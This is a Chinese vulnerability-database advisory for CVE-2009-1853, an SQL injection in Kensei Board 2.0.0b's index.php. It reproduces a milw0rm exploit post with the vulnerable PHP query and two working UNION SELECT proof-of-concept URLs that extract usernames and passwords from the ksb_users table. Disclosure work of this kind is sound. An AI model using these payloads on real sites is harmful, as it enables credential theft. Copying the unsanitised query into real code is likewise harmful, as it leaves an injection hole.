Kensei Board "index.php" SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117835 漏洞类型 SQL注入
发布时间 2009-05-26 更新时间 2009-05-26
CVE编号 CVE-2009-1853 CNNVD-ID CNNVD-200906-019
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8802
https://www.securityfocus.com/bid/44314
https://cxsecurity.com/issue/WLB-2009060092
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200906-019
|漏洞详情
KenseiBoard2.0BETA(又称2.0.0b)版本及其早期版本的index.php中存在多个SQL注入漏洞。远程攻击者可以借助一个showforum操作中的(1)f和(2)t参数,执行任意SQL指令。
|漏洞EXP
Kensei Board <= 2.0.0b Multiple Remote SQL Injection Vulnerabilities
Bug found && Exploited by cOndemned
Greetz: SELECT * FROM `friends`

Download Script : http://www.kenseiboard.com/counter/click.php?id=2

---

source of index.php :

	[...]

	87.	if ($inc_function == "_showforum") {

	88.		if ($_GET[t] == "") {

	89.			$inc_function = "functions/showforum.php";

	90.		} else {

	91.			$inc_function = "functions/showtopic.php";

	[...]

source of functions/showforum.php :

	[...]

	9.	$forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]"));

	[...]

It looks the same for "t" variable ...

---

Proof of Concept :

	"f" variable: /index.php?&act=showforum&f=1+and+1=51+union+select+1,2,3,concat_ws(char(58),users_username,users_password),5,6,7,8+from+ksb_users--
	"t" variable: /index.php?&act=showforum&f=1&t=1+and+1=51+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(char(58),users_username,users_password)+from+ksb_users--

---

// http://www.youtube.com/watch?v=xCMlZxqZ5xI

# milw0rm.com [2009-05-26]
|受影响的产品
Kenseiboard Kensei Board 2.0 Beta
|参考资料

来源:XF
名称:kensei-index-sql-injection(50747)
链接:http://xforce.iss.net/xforce/xfdb/50747
来源:MILW0RM
名称:8802
链接:http://www.milw0rm.com/exploits/8802